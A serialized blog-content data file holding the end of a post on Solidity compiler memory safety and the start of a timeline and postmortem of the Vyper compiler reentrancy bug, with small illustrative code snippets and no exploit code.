invariant.",{"type":25,"tag":34,"props":33827,"children":33828},{},[33829],{"type":25,"tag":38,"props":33830,"children":33831},{},[33832,33833,33838,33839,33844,33845,33850],{"type":31,"value":33419},{"type":25,"tag":82,"props":33834,"children":33836},{"className":33835},[],[33837],{"type":31,"value":33425},{"type":31,"value":33427},{"type":25,"tag":82,"props":33840,"children":33842},{"className":33841},[],[33843],{"type":31,"value":33433},{"type":31,"value":33435},{"type":25,"tag":82,"props":33846,"children":33848},{"className":33847},[],[33849],{"type":31,"value":17900},{"type":31,"value":179},{"type":25,"tag":38,"props":33852,"children":33853},{},[33854],{"type":31,"value":33855},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":25,"tag":26,"props":33857,"children":33859},{"id":33858},"undefined-behavior",[33860],{"type":31,"value":33861},"Undefined Behavior",{"type":25,"tag":38,"props":33863,"children":33864},{},[33865,33867,33872,33874,33879,33881,33887],{"type":31,"value":33866},"How strict is memory safety? When it comes to ",{"type":25,"tag":82,"props":33868,"children":33870},{"className":33869},[],[33871],{"type":31,"value":33325},{"type":31,"value":33873},", only touching memory after 0x80 seems to matter. Is ",{"type":25,"tag":82,"props":33875,"children":33877},{"className":33876},[],[33878],{"type":31,"value":32983},{"type":31,"value":33880}," annotated assembly that touches memory at ",{"type":25,"tag":82,"props":33882,"children":33884},{"className":33883},[],[33885],{"type":31,"value":33886},"[0x40, 0x7f]",{"type":31,"value":33888}," really safe?",{"type":25,"tag":38,"props":33890,"children":33891},{},[33892,33893,33900,33902,33907],{"type":31,"value":474},{"type":25,"tag":162,"props":33894,"children":33897},{"href":33895,"rel":33896},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[166],[33898],{"type":31,"value":33899},"Solidity documentation",{"type":31,"value":33901}," mentions ",{"type":25,"tag":64,"props":33903,"children":33904},{},[33905],{"type":31,"value":33906},"undefined behavior",{"type":31,"value":33908}," three times.",{"type":25,"tag":6705,"props":33910,"children":33911},{},[33912,33917,33932],{"type":25,"tag":2037,"props":33913,"children":33914},{},[33915],{"type":31,"value":33916},"The existence of a dangling reference",{"type":25,"tag":2037,"props":33918,"children":33919},{},[33920,33922],{"type":31,"value":33921},"Using verbatim improperly",{"type":25,"tag":19425,"props":33923,"children":33924},{},[33925],{"type":25,"tag":162,"props":33926,"children":33930},{"href":33927,"ariaDescribedBy":33928,"dataFootnoteRef":7,"id":33929},"#user-content-fn-2",[19432],"user-content-fnref-2",[33931],{"type":31,"value":331},{"type":25,"tag":2037,"props":33933,"children":33934},{},[33935],{"type":31,"value":33936},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":25,"tag":38,"props":33938,"children":33939},{},[33940],{"type":31,"value":33941},"Why does this matter?",{"type":25,"tag":38,"props":33943,"children":33944},{},[33945,33947,33954,33956,33963],{"type":31,"value":33946},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":25,"tag":162,"props":33948,"children":33951},{"href":33949,"rel":33950},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[166],[33952],{"type":31,"value":33953},"signed integer overflow is undefined",{"type":31,"value":33955},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":25,"tag":162,"props":33957,"children":33960},{"href":33958,"rel":33959},"https://blog.regehr.org/archives/1307",[166],[33961],{"type":31,"value":33962},"years down the line",{"type":31,"value":179},{"type":25,"tag":38,"props":33965,"children":33966},{},[33967,33969,33976,33977,33982],{"type":31,"value":33968},"Going back to Solidity, the specification makes ",{"type":25,"tag":162,"props":33970,"children":33973},{"href":33971,"rel":33972},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[166],[33974],{"type":31,"value":33975},"it unambiguously clear",{"type":31,"value":22485},{"type":25,"tag":64,"props":33978,"children":33979},{},[33980],{"type":31,"value":33981},"Thou shalt not modify the zero slot",{"type":31,"value":179},{"type":25,"tag":34,"props":33984,"children":33985},{},[33986],{"type":25,"tag":38,"props":33987,"children":33988},{},[33989],{"type":31,"value":33990},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":25,"tag":38,"props":33992,"children":33993},{},[33994,33996,34001],{"type":31,"value":33995},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":25,"tag":64,"props":33997,"children":33998},{},[33999],{"type":31,"value":34000},"in Solidity",{"type":31,"value":179},{"type":25,"tag":38,"props":34003,"children":34004},{},[34005],{"type":31,"value":34006},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":25,"tag":6705,"props":34008,"children":34009},{},[34010],{"type":25,"tag":2037,"props":34011,"children":34012},{},[34013,34015,34022],{"type":31,"value":34014},"It very clearly ",{"type":25,"tag":162,"props":34016,"children":34019},{"href":34017,"rel":34018},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[166],[34020],{"type":31,"value":34021},"holds true today",{"type":31,"value":179},{"type":25,"tag":206,"props":34024,"children":34026},{"className":33064,"code":34025,"language":33066,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[34027],{"type":25,"tag":82,"props":34028,"children":34029},{"__ignoreMap":7},[34030,34070,34077,34090,34162,34183,34234,34241],{"type":25,"tag":216,"props":34031,"children":34032},{"class":6916,"line":6917},[34033,34037,34042,34047,34051,34056,34061,34066],{"type":25,"tag":216,"props":34034,"children":34035},{"style":6930},[34036],{"type":31,"value":33640},{"type":25,"tag":216,"props":34038,"children":34039},{"style":6958},[34040],{"type":31,"value":34041}," IRGeneratorForStatements::",{"type":25,"tag":216,"props":34043,"children":34044},{"style":7041},[34045],{"type":31,"value":34046},"visit",{"type":25,"tag":216,"props":34048,"children":34049},{"style":6958},[34050],{"type":31,"value":1844},{"type":25,"tag":216,"props":34052,"children":34053},{"style":7369},[34054],{"type":31,"value":34055},"InlineAssembly",{"type":25,"tag":216,"props":34057,"children":34058},{"style":6930},[34059],{"type":31,"value":34060}," const&",{"type":25,"tag":216,"props":34062,"children":34063},{"style":6941},[34064],{"type":31,"value":34065}," _inlineAsm",{"type":25,"tag":216,"props":34067,"children":34068},{"style":6958},[34069],{"type":31,"value":7101},{"type":25,"tag":216,"props":34071,"children":34072},{"class":6916,"line":6763},[34073],{"type":25,"tag":216,"props":34074,"children":34075},{"style":6958},[34076],{"type":31,"value":14830},{"type":25,"tag":216,"props":34078,"children":34079},{"class":6916,"line":6772},[34080,34085],{"type":25,"tag":216,"props":34081,"children":34082},{"style":7041},[34083],{"type":31,"value":34084},"    setLocation",{"type":25,"tag":216,"props":34086,"children":34087},{"style":6958},[34088],{"type":31,"value":34089},"(_inlineAsm);\n",{"type":25,"tag":216,"props":34091,"children":34092},{"class":6916,"line":6999},[34093,34097,34101,34105,34110,34114,34119,34124,34129,34133,34137,34141,34145,34149,34153,34158],{"type":25,"tag":216,"props":34094,"children":34095},{"style":6967},[34096],{"type":31,"value":16229},{"type":25,"tag":216,"props":34098,"children":34099},{"style":6958},[34100],{"type":31,"value":7010},{"type":25,"tag":216,"props":34102,"children":34103},{"style":6947},[34104],{"type":31,"value":8513},{"type":25,"tag":216,"props":34106,"children":34107},{"style":6941},[34108],{"type":31,"value":34109},"_inlineAsm",{"type":25,"tag":216,"props":34111,"children":34112},{"style":6958},[34113],{"type":31,"value":179},{"type":25,"tag":216,"props":34115,"children":34116},{"style":7041},[34117],{"type":31,"value":34118},"annotation",{"type":25,"tag":216,"props":34120,"children":34121},{"style":6958},[34122],{"type":31,"value":34123},"().",{"type":25,"tag":216,"props":34125,"children":34126},{"style":6941},[34127],{"type":31,"value":34128},"hasMemoryEffects",{"type":25,"tag":216,"props":34130,"children":34131},{"style":6947},[34132],{"type":31,"value":18136},{"type":25,"tag":216,"props":34134,"children":34135},{"style":6947},[34136],{"type":31,"value":16814},{"type":25,"tag":216,"props":34138,"children":34139},{"style":6941},[34140],{"type":31,"value":34109},{"type":25,"tag":216,"props":34142,"children":34143},{"style":6958},[34144],{"type":31,"value":179},{"type":25,"tag":216,"props":34146,"children":34147},{"style":7041},[34148],{"type":31,"value":34118},{"type":25,"tag":216,"props":34150,"children":34151},{"style":6958},[34152],{"type":31,"value":34123},{"type":25,"tag":216,"props":34154,"children":34155},{"style":6941},[34156],{"type":31,"value":34157},"markedMemorySafe",{"type":25,"tag":216,"props":34159,"children":34160},{"style":6958},[34161],{"type":31,"value":7101},{"type":25,"tag":216,"props":34163,"children":34164},{"class":6916,"line":7104},[34165,34170,34174,34179],{"type":25,"tag":216,"props":34166,"children":34167},{"style":6941},[34168],{"type":31,"value":34169},"        m_context",{"type":25,"tag":216,"props":34171,"children":34172},{"style":6958},[34173],{"type":31,"value":179},{"type":25,"tag":216,"props":34175,"children":34176},{"style":7041},[34177],{"type":31,"value":34178},"setMemoryUnsafeInlineAssemblySeen",{"type":25,"tag":216,"props":34180,"children":34181},{"style":6958},[34182],{"type":31,"value":7627},{"type":25,"tag":216,"props":34184,"children":34185},{"class":6916,"line":7210},[34186,34191,34195,34199,34204,34209,34213,34217,34221,34225,34230],{"type":25,"tag":216,"props":34187,"children":34188},{"style":6958},[34189],{"type":31,"value":34190},"    CopyTranslate bodyCopier{",{"type":25,"tag":216,"props":34192,"children":34193},{"style":6941},[34194],{"type":31,"value":34109},{"type":25,"tag":216,"props":34196,"children":34197},{"style":6958},[34198],{"type":31,"value":179},{"type":25,"tag":216,"props":34200,"children":34201},{"style":7041},[34202],{"type":31,"value":34203},"dialect",{"type":25,"tag":216,"props":34205,"children":34206},{"style":6958},[34207],{"type":31,"value":34208},"(), m_context, ",{"type":25,"tag":216,"props":34210,"children":34211},{"style":6941},[34212],{"type":31,"value":34109},{"type":25,"tag":216,"props":34214,"children":34215},{"style":6958},[34216],{"type":31,"value":179},{"type":25,"tag":216,"props":34218,"children":34219},{"style":7041},[34220],{"type":31,"value":34118},{"type":25,"tag":216,"props":34222,"children":34223},{"style":6958},[34224],{"type":31,"value":34123},{"type":25,"tag":216,"props":34226,"children":34227},{"style":6941},[34228],{"type":31,"value":34229},"externalReferences",{"type":25,"tag":216,"props":34231,"children":34232},{"style":6958},[34233],{"type":31,"value":20530},{"type":25,"tag":216,"props":34235,"children":34236},{"class":6916,"line":7238},[34237],{"type":25,"tag":216,"props":34238,"children":34239},{"emptyLinePlaceholder":16},[34240],{"type":31,"value":7636},{"type":25,"tag":216,"props":34242,"children":34243},{"class":6916,"line":7251},[34244,34249,34253,34258,34262,34266,34270,34275],{"type":25,"tag":216,"props":34245,"children":34246},{"style":6958},[34247],{"type":31,"value":34248},"    yul::Statement modified ",{"type":25,"tag":216,"props":34250,"children":34251},{"style":6947},[34252],{"type":31,"value":266},{"type":25,"tag":216,"props":34254,"children":34255},{"style":7041},[34256],{"type":31,"value":34257}," bodyCopier",{"type":25,"tag":216,"props":34259,"children":34260},{"style":6958},[34261],{"type":31,"value":1844},{"type":25,"tag":216,"props":34263,"children":34264},{"style":6941},[34265],{"type":31,"value":34109},{"type":25,"tag":216,"props":34267,"children":34268},{"style":6958},[34269],{"type":31,"value":179},{"type":25,"tag":216,"props":34271,"children":34272},{"style":7041},[34273],{"type":31,"value":34274},"operations",{"type":25,"tag":216,"props":34276,"children":34277},{"style":6958},[34278],{"type":31,"value":34279},"());`\n",{"type":25,"tag":6705,"props":34281,"children":34282},{"start":6763},[34283],{"type":25,"tag":2037,"props":34284,"children":34285},{},[34286],{"type":31,"value":34287},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":25,"tag":38,"props":34289,"children":34290},{},[34291],{"type":31,"value":34292},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":25,"tag":26,"props":34294,"children":34295},{"id":9252},[34296],{"type":31,"value":9255},{"type":25,"tag":38,"props":34298,"children":34299},{},[34300],{"type":31,"value":34301},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":25,"tag":38,"props":34303,"children":34304},{},[34305],{"type":31,"value":34306},"It's a promise between YUL generation and optimization.",{"type":25,"tag":22375,"props":34308,"children":34310},{"className":34309,"dataFootnotes":7},[22378],[34311,34316],{"type":25,"tag":26,"props":34312,"children":34314},{"className":34313,"id":19432},[22383],[34315],{"type":31,"value":22386},{"type":25,"tag":6705,"props":34317,"children":34318},{},[34319,34353],{"type":25,"tag":2037,"props":34320,"children":34322},{"id":34321},"user-content-fn-1",[34323,34325,34330,34332,34338,34340,34345,34347],{"type":31,"value":34324},"As an interesting aside, ",{"type":25,"tag":82,"props":34326,"children":34328},{"className":34327},[],[34329],{"type":31,"value":33325},{"type":31,"value":34331}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":25,"tag":82,"props":34333,"children":34335},{"className":34334},[],[34336],{"type":31,"value":34337},"memory-unsafe",{"type":31,"value":34339}," code can ",{"type":25,"tag":64,"props":34341,"children":34342},{},[34343],{"type":31,"value":34344},"decrease",{"type":31,"value":34346}," gas consumption, especially in the YUL header. ",{"type":25,"tag":162,"props":34348,"children":34351},{"href":34349,"ariaLabel":22489,"className":34350,"dataFootnoteBackref":7},"#user-content-fnref-1",[22491],[34352],{"type":31,"value":22494},{"type":25,"tag":2037,"props":34354,"children":34356},{"id":34355},"user-content-fn-2",[34357,34359,34364,34366],{"type":31,"value":34358},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":25,"tag":64,"props":34360,"children":34361},{},[34362],{"type":31,"value":34363},"guarantee",{"type":31,"value":34365}," behavior with opaque bytes. ",{"type":25,"tag":162,"props":34367,"children":34370},{"href":34368,"ariaLabel":22509,"className":34369,"dataFootnoteBackref":7},"#user-content-fnref-2",[22491],[34371],{"type":31,"value":22494},{"type":25,"tag":9310,"props":34373,"children":34374},{},[34375],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":34377},[34378,34379,34380,34381,34382,34383,34384],{"id":32969,"depth":6763,"text":32972},{"id":33023,"depth":6763,"text":33026},{"id":33287,"depth":6763,"text":33290},{"id":33018,"depth":6763,"text":33511},{"id":33858,"depth":6763,"text":33861},{"id":9252,"depth":6763,"text":9255},{"id":19432,"depth":6763,"text":22386},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":34389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34390,"description":34391,"author":9664,"image":34392,"date":34394,"isFeatured":16,"onBlogPage":16,"tags":34395,"body":34397,"_type":6792,"_id":35148,"_source":6794,"_file":35149,"_stem":35150,"_extension":6797},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":34393,"height":17574,"width":17574},"/posts/vyper-timeline/header.jpg","2023-08-01",[34396,32964],"vyper",{"type":22,"children":34398,"toc":35139},[34399,34404,34409,34414,34420,34425,34443,34453,34458,34466,34476,34495,34575,34585,34745,34750,34755,34765,34772,34777,34782,34796,34801,34818,34835,34854,34864,34877,34882,34895,34900,34905,34915,34942,34952,34982,34988,34997,35003,35008,35013,35018,35024,35029,35043,35048,35053,35058,35064,35069,35082,35108,35113,35135],{"type":25,"tag":38,"props":34400,"children":34401},{},[34402],{"type":31,"value":34403},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":25,"tag":38,"props":34405,"children":34406},{},[34407],{"type":31,"value":34408},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":25,"tag":38,"props":34410,"children":34411},{},[34412],{"type":31,"value":34413},"Here's how it all happened.",{"type":25,"tag":26,"props":34415,"children":34417},{"id":34416},"timeline",[34418],{"type":31,"value":34419},"Timeline",{"type":25,"tag":38,"props":34421,"children":34422},{},[34423],{"type":31,"value":34424},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":25,"tag":38,"props":34426,"children":34427},{},[34428,34433,34435,34442],{"type":25,"tag":9267,"props":34429,"children":34430},{},[34431],{"type":31,"value":34432},"13:10 UTC",{"type":31,"value":34434}," pETH/ETH was ",{"type":25,"tag":162,"props":34436,"children":34439},{"href":34437,"rel":34438},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[166],[34440],{"type":31,"value":34441},"drained of $11M",{"type":31,"value":179},{"type":25,"tag":38,"props":34444,"children":34445},{},[34446,34451],{"type":25,"tag":9267,"props":34447,"children":34448},{},[34449],{"type":31,"value":34450},"13:19 UTC",{"type":31,"value":34452}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":25,"tag":38,"props":34454,"children":34455},{},[34456],{"type":31,"value":34457},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":25,"tag":34,"props":34459,"children":34460},{},[34461],{"type":25,"tag":38,"props":34462,"children":34463},{},[34464],{"type":31,"value":34465},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":25,"tag":38,"props":34467,"children":34468},{},[34469,34474],{"type":25,"tag":9267,"props":34470,"children":34471},{},[34472],{"type":31,"value":34473},"14:01 UTC",{"type":31,"value":34475}," A warroom was formed around this comment.",{"type":25,"tag":38,"props":34477,"children":34478},{},[34479,34484,34486,34493],{"type":25,"tag":9267,"props":34480,"children":34481},{},[34482],{"type":31,"value":34483},"14:07 UTC",{"type":31,"value":34485}," We decompiled the JPEGd contract ",{"type":25,"tag":162,"props":34487,"children":34490},{"href":34488,"rel":34489},"https://ethervm.io/decompile",[166],[34491],{"type":31,"value":34492},"with our favorite decompiler",{"type":31,"value":34494}," and noted a difference in reentrancy guard storage slot.",{"type":25,"tag":206,"props":34496,"children":34500},{"className":34497,"code":34498,"language":34499,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[34501],{"type":25,"tag":82,"props":34502,"children":34503},{"__ignoreMap":7},[34504,34512,34520,34528,34536,34543,34551,34559,34567],{"type":25,"tag":216,"props":34505,"children":34506},{"class":6916,"line":6917},[34507],{"type":25,"tag":216,"props":34508,"children":34509},{},[34510],{"type":31,"value":34511},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":25,"tag":216,"props":34513,"children":34514},{"class":6916,"line":6763},[34515],{"type":25,"tag":216,"props":34516,"children":34517},{},[34518],{"type":31,"value":34519},"label_0057:\n",{"type":25,"tag":216,"props":34521,"children":34522},{"class":6916,"line":6772},[34523],{"type":25,"tag":216,"props":34524,"children":34525},{},[34526],{"type":31,"value":34527},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":25,"tag":216,"props":34529,"children":34530},{"class":6916,"line":6999},[34531],{"type":25,"tag":216,"props":34532,"children":34533},{},[34534],{"type":31,"value":34535},"    storage[0x00] = 0x01;\n",{"type":25,"tag":216,"props":34537,"children":34538},{"class":6916,"line":7104},[34539],{"type":25,"tag":216,"props":34540,"children":34541},{"emptyLinePlaceholder":16},[34542],{"type":31,"value":7636},{"type":25,"tag":216,"props":34544,"children":34545},{"class":6916,"line":7210},[34546],{"type":25,"tag":216,"props":34547,"children":34548},{},[34549],{"type":31,"value":34550},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":25,"tag":216,"props":34552,"children":34553},{"class":6916,"line":7238},[34554],{"type":25,"tag":216,"props":34555,"children":34556},{},[34557],{"type":31,"value":34558},"label_1AF3:\n",{"type":25,"tag":216,"props":34560,"children":34561},{"class":6916,"line":7251},[34562],{"type":25,"tag":216,"props":34563,"children":34564},{},[34565],{"type":31,"value":34566},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":25,"tag":216,"props":34568,"children":34569},{"class":6916,"line":7269},[34570],{"type":25,"tag":216,"props":34571,"children":34572},{},[34573],{"type":31,"value":34574},"    storage[0x02] = 0x01;\n",{"type":25,"tag":38,"props":34576,"children":34577},{},[34578,34583],{"type":25,"tag":9267,"props":34579,"children":34580},{},[34581],{"type":31,"value":34582},"14:27 UTC",{"type":31,"value":34584}," We confirmed this behavior with a simple local test contract.",{"type":25,"tag":206,"props":34586,"children":34588},{"className":23415,"code":34587,"language":23414,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[34589],{"type":25,"tag":82,"props":34590,"children":34591},{"__ignoreMap":7},[34592,34600,34621,34656,34668,34675,34682,34701,34733],{"type":25,"tag":216,"props":34593,"children":34594},{"class":6916,"line":6917},[34595],{"type":25,"tag":216,"props":34596,"children":34597},{"style":7041},[34598],{"type":31,"value":34599},"@external\n",{"type":25,"tag":216,"props":34601,"children":34602},{"class":6916,"line":6763},[34603,34608,34612,34617],{"type":25,"tag":216,"props":34604,"children":34605},{"style":7041},[34606],{"type":31,"value":34607},"@nonreentrant",{"type":25,"tag":216,"props":34609,"children":34610},{"style":6958},[34611],{"type":31,"value":1844},{"type":25,"tag":216,"props":34613,"children":34614},{"style":8199},[34615],{"type":31,"value":34616},"\"lock\"",{"type":25,"tag":216,"props":34618,"children":34619},{"style":6958},[34620],{"type":31,"value":7101},{"type":25,"tag":216,"props":34622,"children":34623},{"class":6916,"line":6772},[34624,34629,34634,34638,34643,34648,34652],{"type":25,"tag":216,"props":34625,"children":34626},{"style":6930},[34627],{"type":31,"value":34628},"def",{"type":25,"tag":216,"props":34630,"children":34631},{"style":7041},[34632],{"type":31,"value":34633}," test",{"type":25,"tag":216,"props":34635,"children":34636},{"style":6958},[34637],{"type":31,"value":1844},{"type":25,"tag":216,"props":34639,"children":34640},{"style":6941},[34641],{"type":31,"value":34642},"addr",{"type":25,"tag":216,"props":34644,"children":34645},{"style":6958},[34646],{"type":31,"value":34647},": address) -> ",{"type":25,"tag":216,"props":34649,"children":34650},{"style":7369},[34651],{"type":31,"value":33640},{"type":25,"tag":216,"props":34653,"children":34654},{"style":6958},[34655],{"type":31,"value":9512},{"type":25,"tag":216,"props":34657,"children":34658},{"class":6916,"line":6999},[34659,34663],{"type":25,"tag":216,"props":34660,"children":34661},{"style":6967},[34662],{"type":31,"value":20941},{"type":25,"tag":216,"props":34664,"children":34665},{"style":6930},[34666],{"type":31,"value":34667}," True\n",{"type":25,"tag":216,"props":34669,"children":34670},{"class":6916,"line":7104},[34671],{"type":25,"tag":216,"props":34672,"children":34673},{"emptyLinePlaceholder":16},[34674],{"type":31,"value":7636},{"type":25,"tag":216,"props":34676,"children":34677},{"class":6916,"line":7210},[34678],{"type":25,"tag":216,"props":34679,"children":34680},{"style":7041},[34681],{"type":31,"value":34599},{"type":25,"tag":216,"props":34683,"children":34684},{"class":6916,"line":7238},[34685,34689,34693,34697],{"type":25,"tag":216,"props":34686,"children":34687},{"style":7041},[34688],{"type":31,"value":34607},{"type":25,"tag":216,"props":34690,"children":34691},{"style":6958},[34692],{"type":31,"value":1844},{"type":25,"tag":216,"props":34694,"children":34695},{"style":8199},[34696],{"type":31,"value":34616},{"type":25,"tag":216,"props":34698,"children":34699},{"style":6958},[34700],{"type":31,"value":7101},{"type":25,"tag":216,"props":34702,"children":34703},{"class":6916,"line":7251},[34704,34708,34713,34717,34721,34725,34729],{"type":25,"tag":216,"props":34705,"children":34706},{"style":6930},[34707],{"type":31,"value":34628},{"type":25,"tag":216,"props":34709,"children":34710},{"style":7041},[34711],{"type":31,"value":34712}," test2",{"type":25,"tag":216,"props":34714,"children":34715},{"style":6958},[34716],{"type":31,"value":1844},{"type":25,"tag":216,"props":34718,"children":34719},{"style":6941},[34720],{"type":31,"value":34642},{"type":25,"tag":216,"props":34722,"children":34723},{"style":6958},[34724],{"type":31,"value":34647},{"type":25,"tag":216,"props":34726,"children":34727},{"style":7369},[34728],{"type":31,"value":33640},{"type":25,"tag":216,"props":34730,"children":34731},{"style":6958},[34732],{"type":31,"value":9512},{"type":25,"tag":216,"props":34734,"children":34735},{"class":6916,"line":7269},[34736,34740],{"type":25,"tag":216,"props":34737,"children":34738},{"style":6967},[34739],{"type":31,"value":20941},{"type":25,"tag":216,"props":34741,"children":34742},{"style":6930},[34743],{"type":31,"value":34744}," False\n",{"type":25,"tag":38,"props":34746,"children":34747},{},[34748],{"type":31,"value":34749},"This was not just another reentrancy bug.",{"type":25,"tag":38,"props":34751,"children":34752},{},[34753],{"type":31,"value":34754},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":25,"tag":38,"props":34756,"children":34757},{},[34758,34763],{"type":25,"tag":9267,"props":34759,"children":34760},{},[34761],{"type":31,"value":34762},"14:37 UTC",{"type":31,"value":34764}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":25,"tag":38,"props":34766,"children":34767},{},[34768],{"type":25,"tag":6461,"props":34769,"children":34771},{"alt":7,"src":34770},"/posts/vyper-timeline/sstore.png",[],{"type":25,"tag":38,"props":34773,"children":34774},{},[34775],{"type":31,"value":34776},"It was a race with the hackers.",{"type":25,"tag":38,"props":34778,"children":34779},{},[34780],{"type":31,"value":34781},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":25,"tag":34,"props":34783,"children":34784},{},[34785],{"type":25,"tag":38,"props":34786,"children":34787},{},[34788,34790],{"type":31,"value":34789},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":25,"tag":162,"props":34791,"children":34794},{"href":34792,"rel":34793},"https://twitter.com/hexagate_/status/1685677801813217280",[166],[34795],{"type":31,"value":34792},{"type":25,"tag":38,"props":34797,"children":34798},{},[34799],{"type":31,"value":34800},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":25,"tag":38,"props":34802,"children":34803},{},[34804,34809,34810,34817],{"type":25,"tag":9267,"props":34805,"children":34806},{},[34807],{"type":31,"value":34808},"14:50 UTC",{"type":31,"value":10403},{"type":25,"tag":162,"props":34811,"children":34814},{"href":34812,"rel":34813},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[166],[34815],{"type":31,"value":34816},"msETH/ETH was drained",{"type":31,"value":179},{"type":25,"tag":38,"props":34819,"children":34820},{},[34821,34826,34827,34834],{"type":25,"tag":9267,"props":34822,"children":34823},{},[34824],{"type":31,"value":34825},"15:34 UTC",{"type":31,"value":10403},{"type":25,"tag":162,"props":34828,"children":34831},{"href":34829,"rel":34830},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[166],[34832],{"type":31,"value":34833},"alETH/ETH was drained",{"type":31,"value":179},{"type":25,"tag":38,"props":34836,"children":34837},{},[34838,34843,34845,34852],{"type":25,"tag":9267,"props":34839,"children":34840},{},[34841],{"type":31,"value":34842},"15:43 UTC",{"type":31,"value":34844}," We identified that ",{"type":25,"tag":162,"props":34846,"children":34849},{"href":34847,"rel":34848},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[166],[34850],{"type":31,"value":34851},"CRV/ETH was vulnerable",{"type":31,"value":34853},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":25,"tag":38,"props":34855,"children":34856},{},[34857,34862],{"type":25,"tag":9267,"props":34858,"children":34859},{},[34860],{"type":31,"value":34861},"16:11 UTC",{"type":31,"value":34863}," We began working on a whitehat exploit.",{"type":25,"tag":38,"props":34865,"children":34866},{},[34867,34869,34876],{"type":31,"value":34868},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":25,"tag":162,"props":34870,"children":34873},{"href":34871,"rel":34872},"https://twitter.com/vyperlang/status/1685692973051498497",[166],[34874],{"type":31,"value":34875},"public statement on affected versions",{"type":31,"value":179},{"type":25,"tag":38,"props":34878,"children":34879},{},[34880],{"type":31,"value":34881},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":25,"tag":38,"props":34883,"children":34884},{},[34885,34887,34894],{"type":31,"value":34886},"Five minutes later at 19:11 UTC, 